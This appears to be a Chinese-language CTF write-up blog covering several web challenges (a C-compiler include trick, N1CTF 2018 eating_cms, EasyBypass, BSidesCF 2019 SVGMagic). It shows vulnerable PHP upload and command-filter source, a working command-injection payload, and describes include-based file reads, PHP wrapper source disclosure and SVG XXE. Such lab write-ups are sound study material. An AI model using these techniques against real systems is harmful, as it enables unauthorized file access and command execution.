进去之后是个代码编译框

image-20230102120902218

随便输入弹报错,是c语言的报错,推测是个处理c语言的编译器

image-20230102120945337

c语言输入尝试,下载下来个东西

image-20230103131757738

image-20230103131712408

c语言有一个include包含文件功能,尝试包含/etc/passwd,报错但显示内容

image-20230103133457880

尝试包含/flag,被检测

image-20230103132326278

换双引号包含成功

image-20230103133551110

image-20230103133600898

ac

[N1CTF 2018]eating_cms

考点:cms, php伪协议, parse_url绕过, php代码审计

进去之后是登录页面,register.php直接进注册页面,先注册一个进去

进去是个cms

image-20230103154107699

页面中没什么注意的地方,url通过page检索页面

image-20230103154239619

尝试伪协议拿到源码

image-20230103154334848测试其他页面拿到其他源码。在function.php中有发现

image-20230103184428424

parse_url绕过即可,拿到ffffllllaaaaggg内容

image-20230103184526003

根据提示进入,发现文件上传位置

image-20230103184904103

上传马成功但不知道传到哪,伪协议读一下上传源码

image-20230103185550078

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
    if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
        die("error:can not move");
    }
}else{
    die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

看一下逻辑:文件上传并system命令调用文件base64显示,然后删除非白名单后缀文件

filename可控因此可以执行任意命令

查看当前目录没什么东西

image-20230103195754273

不能用斜杠因此读一下上层目录,发现flag_233333

image-20230103195837305

读一下拿到flag

ac

EasyBypass

考点:php代码审计

进去之后给源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
    $comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
    $comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>
cannot open `' (No such file or directory) cannot open `' (No such file or directory)

绕过直接ac

Payload:

1
?comm1=";tac /fla?"&comm2=

[BSidesCF 2019]SVGMagic

考点:xxe svg格式注入

进去之后有个文件上传,将上传的svg转png

image-20230204135441516

直接抓包xxe注入

image-20230204135831442

flag不在根目录,尝试读取当前目录/proc/self/cwd/flag.txt拿到flag

image-20230204135940686

0%